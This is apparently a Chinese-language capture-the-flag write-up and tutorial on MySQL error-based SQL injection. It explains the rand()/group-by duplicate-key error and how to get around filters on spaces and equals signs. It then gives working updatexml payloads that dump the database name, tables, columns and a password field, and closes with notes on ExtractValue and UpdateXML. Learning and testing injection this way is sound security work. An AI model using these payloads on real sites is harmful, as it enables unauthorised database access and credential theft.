报错注入:
详情:SQL注入——报错注入
原因:
因为虚拟表的主键重复。按照 MySQL 的官方说法,group by
要进行两次运算,第一次是拿 group by
后面的字段值到虚拟表中去对比前,首先获取group by
后面的值;第二次是假设 group by
后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand
函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。
一些过滤的绕过措施:
=
:使用 Like
绕过;/**/
或者 ()
绕过;substring
与 mid
:使用 right
与 left
来绕过;
常规的一些尝试,如 ' or 1=1#
:
可以发现空格被过滤了,使用 /**/
也被过滤了,那使用 ()
来进行绕过:
绕过成功,由于多个关键词被过滤了,因此此处进行报错注入,可以使用 extractvalue
和 updatexml
:
'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
拿到了数据库,然后接着是表名 → 列名 → 字段:
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)
这看着 flag 好像还缺了点,可以提交试试,发现是错的,那就是 flag 缺了,这里利用 right
函数来到剩下的 flag:
'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))#
去掉重复的拼接一下就 OK 了!
MySQL 5.1.5 版本中添加了对 XML 文档进行查询和修改的两个函数:extractvalue
、updatexml
;
名称 | 描述 |
---|---|
ExtractValue() |
使用 XPath 表示法从 XML 字符串中提取值 |
UpdateXML() |
返回替换的 XML 片段 |
通过这两个函数可以完成报错注入;
ExtractValue(xml_frag, xpath_expr)
:
ExtractValue()
接受两个字符串参数,一个 XML 标记片段 xml_frag
和一个 XPath 表达式 xpath_expr
(也称为 定位器);它返回 CDATA 第一个文本节点的 text()
,该节点是 XPath 表达式匹配的元素的子元素。
第一个参数可以传入目标 xml 文档,第二个参数是用 Xpath 路径法表示的查找路径;
例如:SELECT ExtractValue('', '/a/b')
,就是寻找前一段 xml 文档内容中的 a 节点下的 b 节点,这里如果 Xpath 格式语法书写错误的话,就会报错,利用这个特性来获得我们想要知道的内容,如下:
利用 concat
函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
SELECT ExtractValue('', concat('~',(select database())))
UpdateXML(xml_target, xpath_expr, new_xml)
:
xml_target
:需要操作的 xml 片段;xpath_expr
:需要更新的 xml 路径(Xpath 格式);new_xml
:更新后的内容;此函数用来更新选定 XML 片段的内容,将 XML 标记的给定片段的单个部分替换为 xml_target
新的XML片段 new_xml
,然后返回更改的 XML,xml_target
替换的部分与 xpath_expr
用户提供的 XPath 表达式匹配。
如果 xpath_expr
未找到表达式匹配,或者找到多个匹配项,则该函数返回原始 xml_target
XML片段,所有三个参数都应该是字符串,使用方式如下:
mysql> SELECT
-> UpdateXML('ccc ', '/a', 'fff ') AS val1,
-> UpdateXML('ccc ', '/b', 'fff ') AS val2,
-> UpdateXML('ccc ', '//b', 'fff ') AS val3,
-> UpdateXML('ccc ', '/a/d', 'fff ') AS val4,
-> UpdateXML(' ccc ', '/a/d', 'fff ') AS val5
-> \G
运行结果:
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>
这里和上面的 extractvalue
函数一样,当 Xpath 路径语法错误时,就会报错,报错内容含有错误的路径内容: